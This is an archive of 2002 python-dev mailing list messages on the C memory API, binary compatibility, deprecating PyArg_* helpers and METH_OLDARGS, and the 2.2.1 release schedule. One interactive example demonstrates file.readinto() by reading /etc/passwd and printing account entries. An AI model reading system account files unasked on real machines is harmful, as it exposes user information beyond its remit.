Message-ID: <200203312219.g2VMJt124097@pcp742651pcs.reston01.va.comcast.net>

> Good point, but... if a user-defined class raises TypeError when I try
> to add 0 to an instance thereof, then I _can't_ use said instance as a
> number... whether because of a bug in said class, or because said class
> is not intended to be number-like, I *can't* use it, so I won't.  I will
> then similarly discover I can't use it as a string either, and end up by
> raising TypeError because by hypothesis I don't know what else to do.

But hiding the true source of the error.  If there was a bug in the
user code, I'd like to hear about *that*, not about your inability to
deal with it.  Otherwise, why don't you just use a bare "except:"
clause <sarcastic wink>?

> This doesn't seem so much of a problem to me to warrant rejecting
> perfectly good numberlike and stringlike classes' instances, by
> isinstance'ing away.

Agreed, and I think the solution ought to be sought in asking a
question involving hasattr().

> __int__ may well lose information -- that's how it's defined, after
> all -- but having it might be taken as one possible test of
> numberhood

Unfortunately, non-numeric types are known to implement __int__ for
some obscure purpose.

> > This leaves me in the uncomfortable position that I don't know
> > what to recommend. :-(
> 
> In your shoes, I'd recommend PEP 246 -- since, if I were in your
> shoes, I'd have approved it long ago.  (We don't need to have
> interfaces as a distinct concept from types/classes to approve PEP
> 246 -- any types can serve as 'protocols' to make PEP 246 a
> reality).  It would offer a very good solution to problems in this
> category, in my opinion.

Maybe you can summarize it again using a different vocabulary?  I find
that PEP very hard to read, but I recall liking your informal
explanation of it.  Unfortunately I don't recall enough of that
explanation to go ahead and approve the PEP (I have no idea what
effect that would have).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Mar 31 22:23:40 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 31 Mar 2002 17:23:40 -0500
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: Your message of "31 Mar 2002 23:55:57 +0200."
 <m3eli0o102.fsf@mira.informatik.hu-berlin.de>
References: <20020331110813.A22515@glacier.arctrix.com>
 <m3eli0o102.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203312223.g2VMNeZ24117@pcp742651pcs.reston01.va.comcast.net>

> > We deprecate the PyMem_* functions.  There's no need for them, IMHO:
> 
> -1. The rationale behind the function spellings is, as Tim explains,
> cross-version compatibility. 

Also, I believe there once was an issue on Windows where a DLL
shouldn't call its own malloc, it should call Python's malloc (even if
they're both the system malloc!) for memory that Python might free,
and conversely it should call Python's free for memory that Python has
allocated, because the DLL might be using a different heap than the
Python core.  Wrapper functions defined by the core that call the
core's malloc/realloc/free are the only solution here.

I'm not sure if this is still an issue; I'm not even really sure it
was ever an issue; I recall learning this from reading the Tcl/Tk
sources.

> Do we need to bump the API version after these changes?

Probably.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Mar 31 22:27:23 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 31 Mar 2002 17:27:23 -0500
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: Your message of "Sun, 31 Mar 2002 14:16:00 PST."
 <20020331141600.B23023@glacier.arctrix.com>
References: <20020331110813.A22515@glacier.arctrix.com> <m3eli0o102.fsf@mira.informatik.hu-berlin.de>
 <20020331141600.B23023@glacier.arctrix.com>
Message-ID: <200203312227.g2VMRNh24358@pcp742651pcs.reston01.va.comcast.net>

> > Do we need to bump the API version after these changes?
> 
> Why?  The API version is for the source API, not the binary API, right?

No, it's for the binary API.  There's a test in Py_InitModule() that
checks whether a dynamically loaded extension uses the same API as the
core, and that's definitely a binary compatibility issue.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jafo-python-dev@tummy.com  Sun Mar 31 22:26:16 2002
From: jafo-python-dev@tummy.com (Sean Reifschneider)
Date: Sun, 31 Mar 2002 15:26:16 -0700
Subject: [Python-Dev] 2.2.1 release mechanics
In-Reply-To: <2m4riwpj15.fsf@starship.python.net>; from mwh@python.net on Sun, Mar 31, 2002 at 09:41:10PM +0100
References: <2m7knspj43.fsf@starship.python.net> <2m4riwpj15.fsf@starship.python.net>
Message-ID: <20020331152616.E16962@tummy.com>

On Sun, Mar 31, 2002 at 09:41:10PM +0100, Michael Hudson wrote:
>Oh, one other thing: RPMs.  Are they going to happen?

Definitely...  Something has changed in the 2.2.1 release which has broken
the RPMs, but I will have them resolved probably later tonight.  I hope to
have a .spec file for inclusion in the tar file, and will have Red Hat 7.2
and 6.2 binary RPMs ready.  I will also have some pages about them
(probably just the current one updated a bit) ready to go.

Sean
-- 
 I got some spam for herbal Viagra today.  It's subject was "GET HARD FAST".
                 -- Sean Reifschneider, based on an idea by Mike Loseke, 2000
Sean Reifschneider, Inimitably Superfluous <jafo@tummy.com>
tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python


From neal@metaslash.com  Sun Mar 31 22:26:35 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Sun, 31 Mar 2002 17:26:35 -0500
Subject: [Python-Dev] Unused PyArg_* functions
Message-ID: <3CA78D1B.6322A662@metaslash.com>

All of these functions are undocumented and used in exactly one place:
Modules/glmodule.c.  The functions are defined in Modules/cgensupport.c.
They are not exported in Include/modsupport.h.

PyArg_GetObject
PyArg_GetLong
PyArg_GetShort
PyArg_GetFloat
PyArg_GetString
PyArg_GetChar
PyArg_GetLongArraySize
PyArg_GetShortArraySize
PyArg_GetLongArray
PyArg_GetShortArray
PyArg_GetDoubleArray
PyArg_GetFloatArray

Are these generally useful?  Are they used by extensions (other than gl)?
Should they be moved to glmodule?

PyArg_VaParse() is exported in modsupport, but it is neither used 
nor documented.  Should I do leave it alone or remove it?

Are there other simple cleanups that need/ought to get done?

Neal


From martin@v.loewis.de  Sun Mar 31 22:32:29 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 01 Apr 2002 00:32:29 +0200
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEHBOJAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCEHBOJAA.tim.one@comcast.net>
Message-ID: <m3vgbctlky.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> + Is or isn't it deprecated?  If it is deprecated, does that mean
>   something stronger than "should not use it, but may"?  Does the
>   answer vary according to whether it's used in the core or in an
>   extension?

The third part is easy to answer. If it is deprecated, and used in the
core or an extension, that use must be removed. Neal is really good at
removing deprecated usage :-)

On the second question, I'd suggest:
is implemented as a function that produces a warning.

> The only non-interesting question (to me) is whether each is "really a
> function" or "really a macro" -- that's an implementation detail, and C code
> following the rules shouldn't care.

That will be interesting to extension authors. If they are think they
can get performance from using a macro, they will use the macro. If C
code shouldn't care, we needed only half of them.

Regards,
Martin


From neal@metaslash.com  Sun Mar 31 22:32:36 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Sun, 31 Mar 2002 17:32:36 -0500
Subject: [Python-Dev] Removing METH_OLDARGS
References: <3C9F4AC0.C076679B@metaslash.com> <m3sn6oecv1.fsf@mira.informatik.hu-berlin.de>
 <3CA73408.8F4C9110@metaslash.com> <200203312047.g2VKlRb23601@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3CA78E84.66C6AC07@metaslash.com>

Guido van Rossum wrote:

> I did a grep for 'PyArg_Parse(' and found some other files,
> e.g. Modules/arraymodule.c, Objects/fileobject.c and
> Objects/stringobject.c.

I forgot there is one case of METH_OLDARGS:  file.readinto().
I didn't want to change this because I don't know how to use it
and there is no test for it.

If someone can give me a use-case, I can add a test and fix it.

Neal


From guido@python.org  Sun Mar 31 22:38:39 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 31 Mar 2002 17:38:39 -0500
Subject: [Python-Dev] Unused PyArg_* functions
In-Reply-To: Your message of "Sun, 31 Mar 2002 17:26:35 EST."
 <3CA78D1B.6322A662@metaslash.com>
References: <3CA78D1B.6322A662@metaslash.com>
Message-ID: <200203312238.g2VMcdL25044@pcp742651pcs.reston01.va.comcast.net>

> All of these functions are undocumented and used in exactly one place:
> Modules/glmodule.c.  The functions are defined in Modules/cgensupport.c.
> They are not exported in Include/modsupport.h.
> 
> PyArg_GetObject
> PyArg_GetLong
> PyArg_GetShort
> PyArg_GetFloat
> PyArg_GetString
> PyArg_GetChar
> PyArg_GetLongArraySize
> PyArg_GetShortArraySize
> PyArg_GetLongArray
> PyArg_GetShortArray
> PyArg_GetDoubleArray
> PyArg_GetFloatArray
> 
> Are these generally useful?  Are they used by extensions (other than gl)?
> Should they be moved to glmodule?

These are specific to code generated by the cgen script.  glmodule is
the only such module, currently.  But I don't think there's a reason
to start uprooting any of that -- eventually (when SGI stops
supporting the old GL API and has switched everybody over to OpenGL)
cgen, cgensupport and clmodule can all be ripped out, but I don't
think we're there yet (though only Jack and Sjoerd know for sure).

> PyArg_VaParse() is exported in modsupport, but it is neither used 
> nor documented.  Should I do leave it alone or remove it?

It seems this would be handy for someone who wants to write a wrapper
for PyArg_ParseTuple(), so I'd leave it alone.

> Are there other simple cleanups that need/ought to get done?

Sure. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From martin@v.loewis.de  Sun Mar 31 22:36:05 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 01 Apr 2002 00:36:05 +0200
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: <20020331141600.B23023@glacier.arctrix.com>
References: <20020331110813.A22515@glacier.arctrix.com>
 <m3eli0o102.fsf@mira.informatik.hu-berlin.de>
 <20020331141600.B23023@glacier.arctrix.com>
Message-ID: <m3pu1ktley.fsf@mira.informatik.hu-berlin.de>

Neil Schemenauer <nas@python.ca> writes:

> > > We deprecate the PyMem_* functions.  There's no need for them, IMHO:
> > 
> > -1. The rationale behind the function spellings is, as Tim explains,
> > cross-version compatibility. 
> 
> What kind of cross-version compatibility are you referring to?

If you use the macro version, you binary module will break if the
internals of the macro change across Python versions. If you use the
function version, the module will continue to work even if the
internals change.

For example, a module compiled for Python 2.3, compiled on an
installation that uses pymalloc, can be used even on an installation
that has pymalloc disabled, if it only uses the function versions.
The same is not guaranteed if uses the macro versions.

Regards,
Martin



From mwh@python.net  Sun Mar 31 22:39:07 2002
From: mwh@python.net (Michael Hudson)
Date: 31 Mar 2002 23:39:07 +0100
Subject: [Python-Dev] 2.2.1 release mechanics
In-Reply-To: Sean Reifschneider's message of "Sun, 31 Mar 2002 15:26:16 -0700"
References: <2m7knspj43.fsf@starship.python.net> <2m4riwpj15.fsf@starship.python.net> <20020331152616.E16962@tummy.com>
Message-ID: <2mu1qws6pg.fsf@starship.python.net>

Sean Reifschneider <jafo-python-dev@tummy.com> writes:

> On Sun, Mar 31, 2002 at 09:41:10PM +0100, Michael Hudson wrote:
> >Oh, one other thing: RPMs.  Are they going to happen?
> 
> Definitely...  Something has changed in the 2.2.1 release which has broken
> the RPMs, but I will have them resolved probably later tonight.  I hope to
> have a .spec file for inclusion in the tar file, and will have Red Hat 7.2
> and 6.2 binary RPMs ready.  I will also have some pages about them
> (probably just the current one updated a bit) ready to go.

Cool.  Does the timetable I posted suit you?  I.e. will you be able to
produce RPMs at the same time as Tim, Fred and Jack do their magic?

The list of wizards is growing...

Cheers,
M.

-- 
  (ps: don't feed the lawyers: they just lose their fear of humans)
                                         -- Peter Wood, comp.lang.lisp


From guido@python.org  Sun Mar 31 22:43:56 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 31 Mar 2002 17:43:56 -0500
Subject: [Python-Dev] Removing METH_OLDARGS
In-Reply-To: Your message of "Sun, 31 Mar 2002 17:32:36 EST."
 <3CA78E84.66C6AC07@metaslash.com>
References: <3C9F4AC0.C076679B@metaslash.com> <m3sn6oecv1.fsf@mira.informatik.hu-berlin.de> <3CA73408.8F4C9110@metaslash.com> <200203312047.g2VKlRb23601@pcp742651pcs.reston01.va.comcast.net>
 <3CA78E84.66C6AC07@metaslash.com>
Message-ID: <200203312243.g2VMhuN25101@pcp742651pcs.reston01.va.comcast.net>

> I forgot there is one case of METH_OLDARGS:  file.readinto().
> I didn't want to change this because I don't know how to use it
> and there is no test for it.
> 
> If someone can give me a use-case, I can add a test and fix it.

>>> from array import array
>>> a = array('c', 100*'x')
>>> f = open("/etc/passwd")
>>> f.readinto(a)
100
>>> a
array('c', 'root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nol')
>>> 

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jafo@tummy.com  Sun Mar 31 22:50:48 2002
From: jafo@tummy.com (Sean Reifschneider)
Date: Sun, 31 Mar 2002 15:50:48 -0700
Subject: [Python-Dev] 2.2.1 release mechanics
In-Reply-To: <2mu1qws6pg.fsf@starship.python.net>; from mwh@python.net on Sun, Mar 31, 2002 at 11:39:07PM +0100
References: <2m7knspj43.fsf@starship.python.net> <2m4riwpj15.fsf@starship.python.net> <20020331152616.E16962@tummy.com> <2mu1qws6pg.fsf@starship.python.net>
Message-ID: <20020331155048.F16962@tummy.com>

On Sun, Mar 31, 2002 at 11:39:07PM +0100, Michael Hudson wrote:
>Cool.  Does the timetable I posted suit you?  I.e. will you be able to
>produce RPMs at the same time as Tim, Fred and Jack do their magic?

>From noon GMT April 9 through April 10?  Couldn't be any more ideal -- our
local hackingsociety.org meeting is the evening of April 9th, so I'll build
the release bits at the meeting...

>The list of wizards is growing...

I don't have time to do *HALF* the python community contributions I'd like
to...

Sean
-- 
 "I was just thinking of the immortal words of Socrates, when he said
 ``I drank what?''"  -- Chris Knight, _Real_Genius_
Sean Reifschneider, Inimitably Superfluous <jafo@tummy.com>
tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python


From mwh@python.net  Sun Mar 31 22:55:50 2002
From: mwh@python.net (Michael Hudson)
Date: 31 Mar 2002 23:55:50 +0100
Subject: [Python-Dev] 2.2.1 release mechanics
In-Reply-To: Sean Reifschneider's message of "Sun, 31 Mar 2002 15:50:48 -0700"
References: <2m7knspj43.fsf@starship.python.net> <2m4riwpj15.fsf@starship.python.net> <20020331152616.E16962@tummy.com> <2mu1qws6pg.fsf@starship.python.net> <20020331155048.F16962@tummy.com>
Message-ID: <2m7knsgxe1.fsf@starship.python.net>

Sean Reifschneider <jafo@tummy.com> writes:

> On Sun, Mar 31, 2002 at 11:39:07PM +0100, Michael Hudson wrote:
> >Cool.  Does the timetable I posted suit you?  I.e. will you be able to
> >produce RPMs at the same time as Tim, Fred and Jack do their magic?
> 
> >From noon GMT April 9 through April 10?  Couldn't be any more ideal -- our
> local hackingsociety.org meeting is the evening of April 9th, so I'll build
> the release bits at the meeting...

Excellent.

> >The list of wizards is growing...
> 
> I don't have time to do *HALF* the python community contributions I'd like
> to...

Of course not!  I feel as if I've been doing Python related stuff
more-or-less fulltime (don't tell my supervisor) for the last two
weeks, and there's still an infinite amount of things I want to do...

Cheers,
M.

-- 
  Just point your web browser at http://www.python.org/search/ and
  look for "program", "doesn't", "work", or "my". Whenever you find
  someone else whose program didn't work, don't do what they
  did. Repeat as needed.    -- Tim Peters, on python-help, 16 Jun 1998


From tim.one@comcast.net  Sun Mar 31 23:00:16 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 31 Mar 2002 18:00:16 -0500
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: <20020331141304.A23023@glacier.arctrix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEHIOJAA.tim.one@comcast.net>

[Tim]
>> Is there a reason not to make these the simpler
>>
>> #define PyMem_MALLOC malloc

[Neil Schemenauer]
> It adds a type cast in some cases.  We should keep is simple were it
> doesn't matter.

Is it ever necesssary to add a type cast?  For example, under ANSI C, free()
is declared to take a void* argument, and C will automatically cast whatever
is passed to it to void*.  Adding our own (void*) cast is redundant.  We can
assume all extensions include Python.h, which in turn includes stdlib.h, so
the proper system prototypes should always be in scope in extensions.

A difficulty with doing more than plain name substitution is that, e.g.,

    void *p = (void*)&PyMem_FREE;

doesn't work right if PyMem_FREE doesn't expand to (just) a function name.
But so far the docs are silent on whether such uses are supported.

> PyMem_FREE would call free() by PyMem_Free would call _PyMalloc_Free.
> PyMem_FREE is relatively new.  1.5.2 only had PyMem_DEL and that was the
> recommended way to free object memory.  PyMem_Free is new too but based
> on my survey, some people use it for freeing object memory.

Ya, and I don't know how to resolve this.

[on PyMem_{xxx, XXX}]
> I guess we could deprecate the uppercase versions and make the lowercase
> ones macros.

The docs already deprecated the uppercase names.  Whether the lowercase
names can be macros depends on what they expand to (binary compatibility
again).

> As far as warnings go, I think the alternative spellings should be
> allowed for a long time to come.  We can't just keep changing
> our tune and expect the extension writers dance. :-)

I don't expect they'll ever go away, which is why I've got little enthusiasm
for arguing about "deprecation".

> ...
> I thought we decided that making PyMem_MALLOC do anything but malloc()
> was hopeless?  The only reason the PyMem_* layer is there is that so
> adventurous people can replace the system malloc() with something like a
> conservative GC malloc.  In that case the extensions would have to be
> recompiled.

Actually, PyMem_MALLOC probably *should* make the same guarantee as
PyMem_Malloc about what happens if you pass it 0.  And we can never be sure
that "an important" platform won't sprout a bug that we need to patch over
with a more-or-less trivial wrapper.  As Guido just covered in another msg,
PyMem_Malloc is also needed to ensure that an extension gets its memory from
the same malloc the Python DLL is using on Windows.  This can be important
if it's possible for the corresponding free() to be done *by* the Python
DLL.  Or so I've been told.

> I was just trying to cut down the number of functions and macros.

Which I appreciate!  Guido will want to do that too, I'm just warning that
after he thinks about it <wink>, he'll retract at least one of his +1s and
swing to the opposite pole.

> ...
> Extensions can use PyObject_{Malloc,Realloc,Free} but the type based
> allocators are preferred.

They presumably exist for extensions that want to use the same allocator as
the object allocator uses.  For example, someone who has tons of raw little
C memory blobs that aren't objects, but that could benefit from exploiting
the pymalloc malloc.

> Extensions should not use PyObject_{MALLOC,REALLOC,FREE}.

This would be consistent with what the docs say about PyMem_UPPERCASE.  I
think Guido likes to use lowercase/UPPERCASE to distinguish solely between
whether a thing is *implemented* via a function or a macro, and I think
that's where some of the historical confusion comes from.  As a user, I
don't care at all how a thing is implemented, and much prefer
UPPERCASE/lowercase to distinguish whether binary compatibility is
guaranteed.  And that view appears to be shared by people who changed the
memory API after Guido.  So what lowercase/UPPERCASE is *intended* to convey
has become another murky mess.  That's another argument that's yet to begin.

> I forget about PyObject_Resize and PyObject_GC_Resize.  They should be
> part of the preferred API.

Curiously, there is no PyObject_Resize:  PyObject_GC_Resize is our only
general object resize function.



From tim.one@comcast.net  Sun Mar 31 23:07:31 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 31 Mar 2002 18:07:31 -0500
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: <200203312223.g2VMNeZ24117@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEHJOJAA.tim.one@comcast.net>

[Guido]
> Also, I believe there once was an issue on Windows where a DLL
> shouldn't call its own malloc, it should call Python's malloc (even if
> they're both the system malloc!) for memory that Python might free,
> and conversely it should call Python's free for memory that Python has
> allocated, because the DLL might be using a different heap than the
> Python core.  Wrapper functions defined by the core that call the
> core's malloc/realloc/free are the only solution here.
>
> I'm not sure if this is still an issue; I'm not even really sure it
> was ever an issue; I recall learning this from reading the Tcl/Tk
> sources.

I'm just repeating this in the hopes Mark Hammond will notice it <wink>.

i'm-not-a-windows-programmer-i'm-a-programmer-on-windows-ly y'rs  - tim


From tim.one@comcast.net  Sun Mar 31 23:13:17 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 31 Mar 2002 18:13:17 -0500
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: <m3vgbctlky.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEHKOJAA.tim.one@comcast.net>

[martin@v.loewis.de]
> The third part is easy to answer. If it is deprecated, and used in the
> core or an extension, that use must be removed. Neal is really good at
> removing deprecated usage :-)

This is too easy of an answer, as the docs *already* make such distinctions.
Read the tail end of the PyMem_ docs (PyMem_UPPERCASE is supposedly already
deprecated, but only in extension modules).

> ...
> That will be interesting to extension authors. If they are think they
> can get performance from using a macro, they will use the macro.

Even if it doesn't guarantee binary compatibility?  They really can't tell
from the docs now; I want us to finally answer such questions.

> If C code shouldn't care, we needed only half of them.

If you ask me, we didn't need more than a fourth of them <wink>.